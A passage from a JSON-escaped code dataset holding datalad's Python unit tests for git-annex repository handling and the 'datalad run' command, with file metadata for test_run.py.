\\\"SHA256-s99-S10-C10--name\\\": 9,\\n \\\"SHA256E-sNaN--name\\\": None, # debatable: None or raise?\\n }\\n\\n invalid = [\\\"ANYBACKEND-S10-C30--missing-total\\\",\\n \\\"s99-S10-C10--NOBACKEND\\\",\\n \\\"MD5-s100-S5--no-chunk-number\\\"]\\n\\n for key in invalid:\\n assert_raises(ValueError, AnnexRepo.get_size_from_key, key)\\n\\n for key, value in test_keys.items():\\n eq_(AnnexRepo.get_size_from_key(key), value)\\n\\n\\n@with_tempfile(mkdir=True)\\ndef test_call_annex(path=None):\\n ar = AnnexRepo(path, create=True)\\n # we raise on mistakes\\n with assert_raises(CommandError):\\n ar._call_annex(['not-an-annex-command'])\\n # and we get to know why\\n try:\\n ar._call_annex(['not-an-annex-command'])\\n except CommandError as e:\\n assert_in('Invalid argument', e.stderr)\\n\\n\\n@with_tempfile\\ndef test_whereis_zero_copies(path=None):\\n repo = AnnexRepo(path, create=True)\\n (repo.pathobj / \\\"foo\\\").write_text(\\\"foo\\\")\\n repo.save()\\n repo.drop([\\\"foo\\\"], options=[\\\"--force\\\"])\\n\\n for output in \\\"full\\\", \\\"uuids\\\", \\\"descriptions\\\":\\n res = repo.whereis(files=[\\\"foo\\\"], output=output)\\n if output == \\\"full\\\":\\n assert_equal(res[\\\"foo\\\"], {})\\n else:\\n assert_equal(res, [[]])\\n\\n\\n@with_tempfile(mkdir=True)\\ndef test_whereis_batch_eqv(path=None):\\n path = Path(path)\\n\\n repo_a = AnnexRepo(path / \\\"a\\\", create=True)\\n (repo_a.pathobj / \\\"foo\\\").write_text(\\\"foo\\\")\\n (repo_a.pathobj / \\\"bar\\\").write_text(\\\"bar\\\")\\n (repo_a.pathobj / \\\"baz\\\").write_text(\\\"baz\\\")\\n repo_a.save()\\n\\n repo_b = repo_a.clone(repo_a.path, str(path / \\\"b\\\"))\\n repo_b.drop([\\\"bar\\\"])\\n repo_b.drop([\\\"baz\\\"])\\n repo_b.drop([\\\"baz\\\"], options=[\\\"--from=\\\" + DEFAULT_REMOTE, \\\"--force\\\"])\\n\\n files = [\\\"foo\\\", \\\"bar\\\", \\\"baz\\\"]\\n info = repo_b.get_content_annexinfo(files)\\n keys = [info[repo_b.pathobj / f]['key'] for f in files]\\n\\n for output in \\\"full\\\", \\\"uuids\\\", \\\"descriptions\\\":\\n out_non_batch = repo_b.whereis(files=files, batch=False, output=output)\\n assert_equal(out_non_batch,\\n repo_b.whereis(files=files, batch=True, output=output))\\n out_non_batch_keys = repo_b.whereis(files=keys, batch=False, key=True, output=output)\\n # should be identical\\n if output == 'full':\\n # we need to map files to keys though\\n assert_equal(out_non_batch_keys,\\n {k: out_non_batch[f] for f, k in zip(files, keys)})\\n else:\\n assert_equal(out_non_batch, out_non_batch_keys)\\n\\n if external_versions['cmd:annex'] >= '8.20210903':\\n # --batch-keys support was introduced\\n assert_equal(out_non_batch_keys,\\n repo_b.whereis(files=keys, batch=True, key=True, output=output))\\n\\n if external_versions['cmd:annex'] < '8.20210903':\\n # --key= and --batch are incompatible.\\n with assert_raises(ValueError):\\n repo_b.whereis(files=files, batch=True, key=True)\\n\\n\\ndef test_done_deprecation():\\n with unittest.mock.patch(\\\"datalad.cmd.warnings.warn\\\") as warn_mock:\\n _ = AnnexJsonProtocol(\\\"done\\\")\\n warn_mock.assert_called_once()\\n\\n with unittest.mock.patch(\\\"datalad.cmd.warnings.warn\\\") as warn_mock:\\n _ = AnnexJsonProtocol()\\n warn_mock.assert_not_called()\\n\\n\\ndef test_generator_annex_json_protocol():\\n\\n runner = Runner()\\n stdin_queue = Queue()\\n\\n def json_object(count: int):\\n json_template = '{{\\\"id\\\": \\\"some-id\\\", \\\"count\\\": {count}}}'\\n return json_template.format(count=count).encode()\\n\\n count = 123\\n stdin_queue.put(json_object(count=count))\\n for result in runner.run(cmd=\\\"cat\\\", protocol=GeneratorAnnexJsonProtocol, stdin=stdin_queue):\\n assert_equal(\\n result,\\n {\\n \\\"id\\\": \\\"some-id\\\",\\n \\\"count\\\": count,\\n }\\n )\\n if count == 133:\\n break\\n count += 1\\n stdin_queue.put(json_object(count=count))\\n\\n\\ndef test_captured_exception():\\n class RaiseMock:\\n def add_(self, *args, **kwargs):\\n raise CommandError(\\\"RaiseMock.add_\\\")\\n\\n with patch(\\\"datalad.support.annexrepo.super\\\") as repl_super:\\n repl_super.return_value = RaiseMock()\\n gen = AnnexRepo.add_(object(), [])\\n assert_raises(CommandError, gen.send, None)\\n\\n\\n@skip_if_on_windows\\ndef test_stderr_rejecting_protocol_trigger():\\n result_generator = GitWitlessRunner().run(\\n \\\"echo ssss >&2\\\",\\n protocol=GeneratorAnnexJsonNoStderrProtocol)\\n\\n try:\\n tuple(result_generator)\\n except CommandError as e:\\n assert_in(\\\"ssss\\\", e.stderr)\\n return\\n assert_true(False)\\n\\n\\n@skip_if_on_windows\\ndef test_stderr_rejecting_protocol_ignore():\\n\\n result_generator = GitWitlessRunner().run(\\n ['echo', '{\\\"status\\\": \\\"ok\\\"}'],\\n protocol=GeneratorAnnexJsonNoStderrProtocol)\\n assert_equal(tuple(result_generator), ({\\\"status\\\": \\\"ok\\\"},))\\n\"\n },\n {\n \"alpha_fraction\": 0.5895057320594788,\n \"alphanum_fraction\": 0.5954243540763855,\n \"avg_line_length\": 35.899105072021484,\n \"blob_id\": \"0c0324fc2efc74b88aa06935287c2e8f28e45e41\",\n \"content_id\": \"e73e9ac1f607cc14a9753b16651843ae16b409f6\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 28900,\n \"license_type\": \"permissive\",\n \"max_line_length\": 209,\n \"num_lines\": 783,\n \"path\": \"/datalad/core/local/tests/test_run.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# emacs: -*- mode: python; py-indent-offset: 4; tab-width: 4; indent-tabs-mode: nil -*-; coding: utf-8 -*-\\n# ex: set sts=4 ts=4 sw=4 et:\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n\\\"\\\"\\\"Partial testing of `run` commands.\\n\\nNote: Tests of `run` that involve `rerun` are in interface.tests.test_run.\\n\\\"\\\"\\\"\\n\\n__docformat__ = 'restructuredtext'\\n\\nimport logging\\nimport os\\nimport os.path as op\\nimport sys\\nfrom os import (\\n mkdir,\\n remove,\\n)\\nfrom unittest.mock import patch\\n\\nfrom datalad.api import (\\n clone,\\n run,\\n)\\nfrom datalad.cli.main import main\\nfrom datalad.core.local.run import (\\n _format_iospecs,\\n _get_substitutions,\\n format_command,\\n run_command,\\n)\\nfrom datalad.distribution.dataset import Dataset\\nfrom datalad.support.exceptions import (\\n CommandError,\\n IncompleteResultsError,\\n NoDatasetFound,\\n)\\nfrom datalad.tests.utils_pytest import (\\n DEFAULT_BRANCH,\\n OBSCURE_FILENAME,\\n assert_false,\\n assert_in,\\n assert_in_results,\\n assert_not_in,\\n assert_not_in_results,\\n assert_raises,\\n assert_repo_status,\\n assert_result_count,\\n assert_status,\\n create_tree,\\n eq_,\\n known_failure_windows,\\n neq_,\\n ok_,\\n ok_exists,\\n ok_file_has_content,\\n patch_config,\\n swallow_logs,\\n swallow_outputs,\\n with_tempfile,\\n with_tree,\\n)\\nfrom datalad.utils import (\\n chpwd,\\n ensure_unicode,\\n on_windows,\\n)\\n\\ncat_command = 'cat' if not on_windows else 'type'\\n\\n\\n@with_tempfile(mkdir=True)\\ndef test_invalid_call(path=None):\\n with chpwd(path):\\n # no dataset, no luck\\n assert_raises(NoDatasetFound, run, 'doesntmatter')\\n # dirty dataset\\n ds = Dataset(path).create()\\n create_tree(ds.path, {'this': 'dirty'})\\n assert_status('impossible', run('doesntmatter', on_failure='ignore'))\\n\\n\\ndef last_commit_msg(repo):\\n # ATTN: Pass branch explicitly so that this check works when we're on an\\n # adjusted branch too (e.g., when this test is executed under Windows).\\n return repo.format_commit(\\\"%B\\\", DEFAULT_BRANCH)\\n\\n\\n@with_tempfile(mkdir=True)\\n@with_tempfile(mkdir=True)\\ndef test_basics(path=None, nodspath=None):\\n ds = Dataset(path).create()\\n last_state = ds.repo.get_hexsha()\\n # run inside the dataset\\n with chpwd(path), \\\\\\n swallow_outputs():\\n # provoke command failure\\n res = ds.run('7i3amhmuch9invalid', on_failure=\\\"ignore\\\",\\n result_renderer=None)\\n assert_result_count(res, 1, action=\\\"run\\\", status=\\\"error\\\")\\n run_res = [r for r in res if r[\\\"action\\\"] == \\\"run\\\"][0]\\n # let's not speculate that the exit code is always 127\\n ok_(run_res[\\\"run_info\\\"][\\\"exit\\\"] > 0)\\n eq_(last_state, ds.repo.get_hexsha())\\n # now one that must work\\n res = ds.run('cd .> empty', message='TEST')\\n assert_repo_status(ds.path)\\n assert_result_count(res, 3)\\n # TODO 'state' is still untracked!!!\\n assert_result_count(res, 1, action='add',\\n path=op.join(ds.path, 'empty'), type='file')\\n assert_result_count(res, 1, action='save', path=ds.path)\\n commit_msg = last_commit_msg(ds.repo)\\n ok_(commit_msg.startswith('[DATALAD RUNCMD] TEST'))\\n # crude test that we have a record for the PWD\\n assert_in('\\\"pwd\\\": \\\".\\\"', commit_msg)\\n last_state = ds.repo.get_hexsha()\\n # now run a command that will not alter the dataset\\n noop_cmd = ':'\\n res = ds.run(noop_cmd, message='NOOP_TEST')\\n assert_result_count(res, 1, action='save', status='notneeded')\\n eq_(last_state, ds.repo.get_hexsha())\\n # We can also run the command via a single-item list because this is\\n # what the CLI interface passes in for quoted commands.\\n res = ds.run([noop_cmd], message='NOOP_TEST')\\n assert_result_count(res, 1, action='save', status='notneeded')\\n\\n # run outside the dataset, should still work but with limitations\\n with chpwd(nodspath), \\\\\\n swallow_outputs():\\n res = ds.run('cd . > empty2', message='TEST')\\n assert_result_count(res, 1, action='add',\\n path=op.join(ds.path, 'empty2'),\\n type='file', status='ok')\\n assert_result_count(res, 1, action='save', status='ok')\\n\\n # running without a command is a noop\\n with chpwd(path):\\n with swallow_logs(new_level=logging.WARN) as cml:\\n ds.run()\\n assert_in(\\\"No command given\\\", cml.out)\\n\\n # running without a command is a noop\\n with chpwd(path):\\n with swallow_logs(new_level=logging.INFO) as cml:\\n assert_raises(\\n IncompleteResultsError,\\n ds.run,\\n '7i3amhmuch9invalid',\\n # this is on_failure=stop by default\\n )\\n # must give recovery hint in Python notation\\n assert_in(\\\"can save the changes with \\\\\\\"Dataset(\\\", cml.out)\\n\\n with chpwd(path):\\n # make sure that an invalid input declaration prevents command\\n # execution by default\\n assert_raises(\\n IncompleteResultsError,\\n ds.run, 'cd .> dummy0', inputs=['not-here'])\\n ok_(not (ds.pathobj / 'dummy0').exists())\\n # but the default behavior can be changed\\n assert_raises(\\n IncompleteResultsError,\\n ds.run, 'cd .> dummy0', inputs=['not-here'],\\n on_failure='continue')\\n # it has stilled failed, but the command got executed nevertheless\\n ok_((ds.pathobj / 'dummy0').exists())\\n\\n\\n@known_failure_windows\\n# ^ For an unknown reason, appveyor started failing after we removed\\n# receive.autogc=0 and gc.auto=0 from our common git options (gh-3482).\\n# moreover the usage of unicode in the file names also breaks this on windows\\n@with_tempfile(mkdir=True)\\ndef test_py2_unicode_command(path=None):\\n # Avoid OBSCURE_FILENAME to avoid windows-breakage (gh-2929).\\n ds = Dataset(path).create()\\n touch_cmd = \\\"import sys; open(sys.argv[1], 'w').write('')\\\"\\n cmd_str = u\\\"{} -c \\\\\\\"{}\\\\\\\" {}\\\".format(sys.executable,\\n touch_cmd,\\n u\\\"bβ0.dat\\\")\\n ds.run(cmd_str)\\n assert_repo_status(ds.path)\\n ok_exists(op.join(path, u\\\"bβ0.dat\\\"))\\n\\n # somewhat desperate attempt to detect our own Github CI tests on a\\n # crippled filesystem (VFAT) that is so crippled that it doesn't handle\\n # what is needed here. It just goes mad with encoded bytestrings:\\n # CommandError: ''python -c '\\\"'\\\"'import sys; open(sys.argv[1], '\\\"'\\\"'\\\"'\\\"'\\\"'\\\"'\\\"'\\\"'w'\\\"'\\\"'\\\"'\\\"'\\\"'\\\"'\\\"'\\\"').write('\\\"'\\\"'\\\"'\\\"'\\\"'\\\"'\\\"'\\\"''\\\"'\\\"'\\\"'\\\"'\\\"'\\\"'\\\"'\\\"')'\\\"'\\\"' '\\\"'\\\"' β1 '\\\"'\\\"''' failed with exitcode 1 under /crippledfs/\\n if not on_windows and os.environ.get('TMPDIR', None) != '/crippledfs': # FIXME\\n ds.run([sys.executable, \\\"-c\\\", touch_cmd, u\\\"bβ1.dat\\\"])\\n assert_repo_status(ds.path)\\n ok_exists(op.join(path, u\\\"bβ1.dat\\\"))\\n\\n # Send in a list of byte-strings to mimic a py2 command-line\\n # invocation.\\n ds.run([s.encode(\\\"utf-8\\\")\\n for s in [sys.executable, \\\"-c\\\", touch_cmd, u\\\" β1 \\\"]])\\n assert_repo_status(ds.path)\\n ok_exists(op.join(path, u\\\" β1 \\\"))\\n\\n assert_in_results(\\n ds.run(u\\\"bβ2.dat\\\", result_renderer=None, on_failure=\\\"ignore\\\"),\\n status=\\\"error\\\", action=\\\"run\\\")\\n\\n\\n@with_tempfile(mkdir=True)\\ndef test_sidecar(path=None):\\n ds = Dataset(path).create()\\n # Simple sidecar message checks.\\n ds.run(\\\"cd .> dummy0\\\", message=\\\"sidecar arg\\\", sidecar=True)\\n assert_not_in('\\\"cmd\\\":', ds.repo.format_commit(\\\"%B\\\"))\\n\\n ds.config.set(\\\"datalad.run.record-sidecar\\\", \\\"false\\\", scope=\\\"local\\\")\\n ds.run(\\\"cd .> dummy1\\\", message=\\\"sidecar config\\\")\\n\\n assert_in('\\\"cmd\\\":', last_commit_msg(ds.repo))\\n\\n ds.config.set(\\\"datalad.run.record-sidecar\\\", \\\"true\\\", scope=\\\"local\\\")\\n ds.run(\\\"cd .> dummy2\\\", message=\\\"sidecar config\\\")\\n assert_not_in('\\\"cmd\\\":', last_commit_msg(ds.repo))\\n\\n # Don't break when config.get() returns multiple values. Here it's two\\n # values in .gitconfig, but a more realistic scenario is a value in\\n # $repo/.git/config that overrides a setting in ~/.config/git/config.\\n ds.config.add(\\\"datalad.run.record-sidecar\\\", \\\"false\\\", scope=\\\"local\\\")\\n ds.run(\\\"cd .> dummy3\\\", message=\\\"sidecar config\\\")\\n assert_in('\\\"cmd\\\":', last_commit_msg(ds.repo))\\n\\n\\n # make sure sidecar file is committed when explicitly specifying outputs\\n ds.run(\\\"cd .> dummy4\\\",\\n outputs=[\\\"dummy4\\\"],\\n sidecar=True,\\n explicit=True,\\n message=\\\"sidecar + specified outputs\\\")\\n assert_not_in('\\\"cmd\\\":', last_commit_msg(ds.repo))\\n assert_repo_status(ds.path)\\n\\n\\n\\n\\n@with_tree(tree={\\\"to_remove\\\": \\\"abc\\\"})\\ndef test_run_save_deletion(path=None):\\n ds = Dataset(path).create(force=True)\\n ds.save()\\n ds.run(\\\"{} to_remove\\\".format(\\\"del\\\" if on_windows else \\\"rm\\\"))\\n assert_repo_status(ds.path)\\n\\n\\n@with_tempfile(mkdir=True)\\ndef test_run_from_subds(path=None):\\n subds = Dataset(path).create().create(\\\"sub\\\")\\n subds.run(\\\"cd .> foo\\\")\\n assert_repo_status(subds.path)\\n\\n\\n@with_tree(tree={\\\"sub\\\": {\\\"input\\\": \\\"\\\"}})\\ndef test_run_from_subds_gh3551(path=None):\\n ds = Dataset(path).create(force=True)\\n ds.save()\\n ds.create(\\\"output\\\")\\n with chpwd(op.join(ds.path, \\\"sub\\\")):\\n assert_in_results(\\n run(\\\"echo\\\",\\n inputs=[op.join(op.pardir, \\\"sub\\\", \\\"input\\\")],\\n outputs=[op.join(op.pardir, \\\"output\\\")],\\n return_type=\\\"list\\\", result_filter=None, result_xfm=None),\\n action=\\\"get\\\",\\n status=\\\"notneeded\\\")\\n assert_repo_status(ds.path)\\n\\n subds_path = op.join(\\\"output\\\", \\\"subds\\\")\\n ds.create(subds_path)\\n with chpwd(op.join(ds.path, \\\"sub\\\")):\\n output_dir = op.join(op.pardir, \\\"output\\\", \\\"subds\\\")\\n # The below command is trying to be compatible. It could be made better\\n # (e.g., actually using the input file) by someone that knows something\\n # about Windows.\\n assert_in_results(\\n run(\\\"cd .> {}\\\".format(op.join(output_dir, \\\"f\\\")),\\n inputs=[op.join(op.pardir, \\\"sub\\\", \\\"input\\\")],\\n outputs=[output_dir],\\n return_type=\\\"list\\\", result_filter=None, result_xfm=None),\\n action=\\\"save\\\",\\n status=\\\"ok\\\")\\n assert_repo_status(ds.path)\\n subds = Dataset(op.join(ds.path, subds_path))\\n ok_exists(op.join(subds.path, \\\"f\\\"))\\n if not ds.repo.is_managed_branch(): # FIXME\\n # This check fails on Windows:\\n # https://github.com/datalad/datalad/pull/3747/checks?check_run_id=248506560#step:8:254\\n ok_(subds.repo.file_has_content(\\\"f\\\"))\\n\\n\\n@with_tempfile(mkdir=True)\\ndef test_run_assume_ready(path=None):\\n ds = Dataset(path).create()\\n repo = ds.repo\\n adjusted = repo.is_managed_branch()\\n\\n # --assume-ready=inputs\\n\\n (repo.pathobj / \\\"f1\\\").write_text(\\\"f1\\\")\\n ds.save()\\n\\n def cat_cmd(fname):\\n return [sys.executable, \\\"-c\\\",\\n \\\"import sys; print(open(sys.argv[-1]).read())\\\",\\n fname]\\n\\n assert_in_results(\\n ds.run(cat_cmd(\\\"f1\\\"), inputs=[\\\"f1\\\"]),\\n action=\\\"get\\\", type=\\\"file\\\")\\n # Same thing, but without the get() call.\\n assert_not_in_results(\\n ds.run(cat_cmd(\\\"f1\\\"), inputs=[\\\"f1\\\"], assume_ready=\\\"inputs\\\"),\\n action=\\\"get\\\", type=\\\"file\\\")\\n\\n ds.drop(\\\"f1\\\", reckless='kill')\\n if not adjusted:\\n # If the input is not actually ready, the command will fail.\\n assert_in_results(\\n ds.run(cat_cmd(\\\"f1\\\"), inputs=[\\\"f1\\\"], assume_ready=\\\"inputs\\\",\\n on_failure=\\\"ignore\\\", result_renderer=None),\\n action=\\\"run\\\", status=\\\"error\\\")\\n\\n # --assume-ready=outputs\\n\\n def unlink_and_write_cmd(fname):\\n # This command doesn't care whether the output file is unlocked because\\n # it removes it ahead of time anyway.\\n return [sys.executable, \\\"-c\\\",\\n \\\"import sys; import os; import os.path as op; \\\"\\n \\\"f = sys.argv[-1]; op.lexists(f) and os.unlink(f); \\\"\\n \\\"open(f, mode='w').write(str(sys.argv))\\\",\\n fname]\\n\\n (repo.pathobj / \\\"f2\\\").write_text(\\\"f2\\\")\\n ds.save()\\n\\n res = ds.run(unlink_and_write_cmd(\\\"f2\\\"), outputs=[\\\"f2\\\"])\\n if not adjusted:\\n assert_in_results(res, action=\\\"unlock\\\", type=\\\"file\\\")\\n # Same thing, but without the unlock() call.\\n res = ds.run(unlink_and_write_cmd(\\\"f2\\\"), outputs=[\\\"f2\\\"],\\n assume_ready=\\\"outputs\\\")\\n assert_not_in_results(res, action=\\\"unlock\\\", type=\\\"file\\\")\\n\\n # --assume-ready=both\\n\\n res = ds.run(unlink_and_write_cmd(\\\"f2\\\"),\\n outputs=[\\\"f2\\\"], inputs=[\\\"f2\\\"])\\n assert_in_results(res, action=\\\"get\\\", type=\\\"file\\\")\\n if not adjusted:\\n assert_in_results(res, action=\\\"unlock\\\", type=\\\"file\\\")\\n\\n res = ds.run(unlink_and_write_cmd(\\\"f2\\\"),\\n outputs=[\\\"f2\\\"], inputs=[\\\"f2\\\"],\\n assume_ready=\\\"both\\\")\\n assert_not_in_results(res, action=\\\"get\\\", type=\\\"file\\\")\\n assert_not_in_results(res, action=\\\"unlock\\\", type=\\\"file\\\")\\n\\n\\n@with_tempfile()\\n@with_tempfile()\\ndef test_run_explicit(origpath=None, path=None):\\n origds = Dataset(origpath).create()\\n (origds.pathobj / \\\"test-annex.dat\\\").write_text('content')\\n origds.save()\\n ds = clone(origpath, path)\\n\\n assert_false(ds.repo.file_has_content(\\\"test-annex.dat\\\"))\\n\\n create_tree(ds.path, {\\\"dirt_untracked\\\": \\\"untracked\\\",\\n \\\"dirt_modified\\\": \\\"modified\\\"})\\n ds.save(\\\"dirt_modified\\\", to_git=True)\\n with open(op.join(path, \\\"dirt_modified\\\"), \\\"a\\\") as ofh:\\n ofh.write(\\\", more\\\")\\n\\n # We need explicit=True to run with dirty repo.\\n assert_status(\\n \\\"impossible\\\",\\n ds.run(f\\\"{cat_command} test-annex.dat test-annex.dat >doubled.dat\\\",\\n inputs=[\\\"test-annex.dat\\\"],\\n on_failure=\\\"ignore\\\"))\\n\\n hexsha_initial = ds.repo.get_hexsha()\\n # If we specify test-annex.dat as an input, it will be retrieved before the\\n # run.\\n ds.run(f\\\"{cat_command} test-annex.dat test-annex.dat >doubled.dat\\\",\\n inputs=[\\\"test-annex.dat\\\"], explicit=True,\\n result_renderer='disabled')\\n ok_(ds.repo.file_has_content(\\\"test-annex.dat\\\"))\\n # We didn't commit anything because outputs weren't specified.\\n assert_false(ds.repo.file_has_content(\\\"doubled.dat\\\"))\\n eq_(hexsha_initial, ds.repo.get_hexsha())\\n\\n # If an input doesn't exist, we just show the standard warning.\\n with assert_raises(IncompleteResultsError):\\n ds.run(\\\"ls\\\", inputs=[\\\"not-there\\\"], explicit=True,\\n on_failure=\\\"stop\\\", result_renderer='disabled')\\n\\n remove(op.join(path, \\\"doubled.dat\\\"))\\n\\n hexsha_initial = ds.repo.get_hexsha()\\n ds.run(f\\\"{cat_command} test-annex.dat test-annex.dat >doubled.dat\\\",\\n inputs=[\\\"test-annex.dat\\\"], outputs=[\\\"doubled.dat\\\"],\\n explicit=True, result_renderer='disabled')\\n ok_(ds.repo.file_has_content(\\\"doubled.dat\\\"))\\n assert_repo_status(ds.path, modified=[\\\"dirt_modified\\\"],\\n untracked=['dirt_untracked'])\\n neq_(hexsha_initial, ds.repo.get_hexsha())\\n\\n # Saving explicit outputs works from subdirectories.\\n subdir = op.join(path, \\\"subdir\\\")\\n mkdir(subdir)\\n with chpwd(subdir):\\n run(\\\"echo insubdir >foo\\\", explicit=True, outputs=[\\\"foo\\\"],\\n result_renderer='disabled')\\n ok_(ds.repo.file_has_content(op.join(\\\"subdir\\\", \\\"foo\\\")))\\n\\n\\n@with_tree(tree={OBSCURE_FILENAME + u\\\".t\\\": \\\"obscure\\\",\\n \\\"bar.txt\\\": \\\"b\\\",\\n \\\"foo blah.txt\\\": \\\"f\\\"})\\ndef test_inputs_quotes_needed(path=None):\\n ds = Dataset(path).create(force=True)\\n ds.save()\\n cmd = \\\"import sys; open(sys.argv[-1], 'w').write('!'.join(sys.argv[1:]))\\\"\\n # The string form of a command works fine when the inputs/outputs have\\n # spaces ...\\n cmd_str = \\\"{} -c \\\\\\\"{}\\\\\\\" {{inputs}} {{outputs[0]}}\\\".format(\\n sys.executable, cmd)\\n ds.run(cmd_str, inputs=[\\\"*.t*\\\"], outputs=[\\\"out0\\\"], expand=\\\"inputs\\\")\\n expected = u\\\"!\\\".join(\\n list(sorted([OBSCURE_FILENAME + u\\\".t\\\", \\\"bar.txt\\\", \\\"foo blah.txt\\\"])) +\\n [\\\"out0\\\"])\\n with open(op.join(path, \\\"out0\\\")) as ifh:\\n eq_(ensure_unicode(ifh.read()), expected)\\n # ... but the list form of a command does not. (Don't test this failure\\n # with the obscure file name because we'd need to know its composition to\\n # predict the failure.)\\n cmd_list = [sys.executable, \\\"-c\\\", cmd, \\\"{inputs}\\\", \\\"{outputs[0]}\\\"]\\n ds.run(cmd_list, inputs=[\\\"*.txt\\\"], outputs=[\\\"out0\\\"])\\n ok_file_has_content(op.join(path, \\\"out0\\\"), \\\"bar.txt foo!blah.txt!out0\\\")\\n\\n\\n@with_tree(tree={\\\"foo\\\": \\\"f\\\", \\\"bar\\\": \\\"b\\\"})\\ndef test_inject(path=None):\\n ds = Dataset(path).create(force=True)\\n assert_repo_status(ds.path, untracked=['foo', 'bar'])\\n list(run_command(\\\"nonsense command\\\",\\n dataset=ds,\\n inject=True,\\n extra_info={\\\"custom_key\\\": \\\"custom_field\\\"}))\\n msg = last_commit_msg(ds.repo)\\n assert_in(\\\"custom_key\\\", msg)\\n assert_in(\\\"nonsense command\\\", msg)\\n\\n\\n@with_tempfile(mkdir=True)\\ndef test_format_command_strip_leading_dashes(path=None):\\n ds = Dataset(path).create()\\n eq_(format_command(ds, [\\\"--\\\", \\\"cmd\\\", \\\"--opt\\\"]),\\n '\\\"cmd\\\" \\\"--opt\\\"' if on_windows else \\\"cmd --opt\\\")\\n eq_(format_command(ds, [\\\"--\\\"]), \\\"\\\")\\n # Can repeat to escape.\\n eq_(format_command(ds, [\\\"--\\\", \\\"--\\\", \\\"ok\\\"]),\\n '\\\"--\\\" \\\"ok\\\"' if on_windows else \\\"-- ok\\\")\\n # String stays as is.\\n eq_(format_command(ds, \\\"--\\\"), \\\"--\\\")\\n\\n\\n@with_tempfile(mkdir=True)\\ndef test_run_cmdline_disambiguation(path=None):\\n Dataset(path).create()\\n with chpwd(path):\\n # Without a positional argument starting a command, any option is\\n # treated as an option to 'datalad run'.\\n with swallow_outputs() as cmo:\\n with patch(\\\"datalad.core.local.run._execute_command\\\") as exec_cmd:\\n with assert_raises(SystemExit):\\n main([\\\"datalad\\\", \\\"run\\\", \\\"--message\\\"])\\n exec_cmd.assert_not_called()\\n assert_in(\\\"message: expected one\\\", cmo.err)\\n # If we want to pass an option as the first value of a command (e.g.,\\n # because we are using a runscript with containers-run), we can do this\\n # with \\\"--\\\".\\n with patch(\\\"datalad.core.local.run._execute_command\\\") as exec_cmd:\\n with assert_raises(SystemExit):\\n main([\\\"datalad\\\", \\\"run\\\", \\\"--\\\", \\\"--message\\\"])\\n exec_cmd.assert_called_once_with(\\n '\\\"--message\\\"' if on_windows else \\\"--message\\\",\\n path)\\n\\n # Our parser used to mishandle --version (gh-3067),\\n # treating 'datalad run CMD --version' as 'datalad --version'.\\n # but that is no longer the case and echo --version should work with or\\n # without explicit \\\"--\\\" separator\\n for sep in [[], ['--']]:\\n with patch(\\\"datalad.core.local.run._execute_command\\\") as exec_cmd:\\n with assert_raises(SystemExit):\\n main([\\\"datalad\\\", \\\"run\\\"] + sep + [\\\"echo\\\", \\\"--version\\\"])\\n exec_cmd.assert_called_once_with(\\n '\\\"echo\\\" \\\"--version\\\"' if on_windows else \\\"echo --version\\\",\\n path)\\n\\n\\n@with_tempfile(mkdir=True)\\ndef test_run_path_semantics(path=None):\\n # Test that we follow path resolution from gh-3435: paths are relative to\\n # dataset if a dataset instance is given and relative to the current\\n # working directory otherwise.\\n\\n ds0 = Dataset(op.join(path, \\\"ds0\\\")).create()\\n ds0_subdir = op.join(ds0.path, \\\"s0\\\")\\n os.mkdir(ds0_subdir)\\n\\n # Although not useful, we can specify `dataset` as a string that lines up\\n # with the one from the current directory.\\n with chpwd(ds0_subdir):\\n run(\\\"cd .> one\\\", dataset=\\\"..\\\")\\n run(\\\"cd .> one\\\", outputs=[\\\"one\\\"], dataset=ds0.path)\\n ok_exists(op.join(ds0_subdir, \\\"one\\\"))\\n assert_repo_status(ds0.path)\\n\\n # Specify string dataset argument, running from another dataset ...\\n\\n ds1 = Dataset(op.join(path, \\\"ds1\\\")).create()\\n ds1_subdir = op.join(ds1.path, \\\"s1\\\")\\n os.mkdir(ds1_subdir)\\n\\n # ... producing output file in specified dataset\\n with chpwd(ds1_subdir):\\n run(\\\"cd .> {}\\\".format(op.join(ds0.path, \\\"two\\\")),\\n dataset=ds0.path)\\n ok_exists(op.join(ds0.path, \\\"two\\\"))\\n assert_repo_status(ds0.path)\\n\\n # ... producing output file in specified dataset and passing output file as\\n # relative to current directory\\n with chpwd(ds1_subdir):\\n out = op.join(ds0.path, \\\"three\\\")\\n run(\\\"cd .> {}\\\".format(out), dataset=ds0.path, explicit=True,\\n outputs=[op.relpath(out, ds1_subdir)])\\n ok_exists(op.join(ds0.path, \\\"three\\\"))\\n assert_repo_status(ds0.path)\\n\\n # ... producing output file outside of specified dataset, leaving it\\n # untracked in the other dataset\\n assert_repo_status(ds1.path)\\n with chpwd(ds1_subdir):\\n run(\\\"cd .> four\\\", dataset=ds0.path)\\n assert_repo_status(ds1.path, untracked=[ds1_subdir])\\n\\n # If we repeat above with an instance instead of the string, the directory\\n # for the run is the specified dataset.\\n with chpwd(ds1_subdir):\\n run(\\\"cd .> five\\\", dataset=ds0)\\n ok_exists(op.join(ds0.path, \\\"five\\\"))\\n assert_repo_status(ds0.path)\\n\\n\\n@with_tempfile(mkdir=True)\\ndef test_run_remove_keeps_leading_directory(path=None):\\n ds = Dataset(op.join(path, \\\"ds\\\")).create()\\n repo = ds.repo\\n\\n (ds.pathobj / \\\"d\\\").mkdir()\\n output = (ds.pathobj / \\\"d\\\" / \\\"foo\\\")\\n output.write_text(\\\"foo\\\")\\n ds.save()\\n\\n output_rel = str(output.relative_to(ds.pathobj))\\n repo.drop(output_rel, options=[\\\"--force\\\"])\\n\\n assert_in_results(\\n ds.run(\\\"cd .> {}\\\".format(output_rel), outputs=[output_rel],\\n result_renderer='disabled'),\\n action=\\\"run.remove\\\", status=\\\"ok\\\")\\n\\n assert_repo_status(ds.path)\\n\\n # Remove still gets saved() if command doesn't generate the output (just as\\n # it would if git-rm were used instead of unlink).\\n repo.drop(output_rel, options=[\\\"--force\\\"])\\n assert_in_results(\\n ds.run(\\\"cd .> something-else\\\", outputs=[output_rel],\\n result_renderer='disabled'),\\n action=\\\"run.remove\\\", status=\\\"ok\\\")\\n 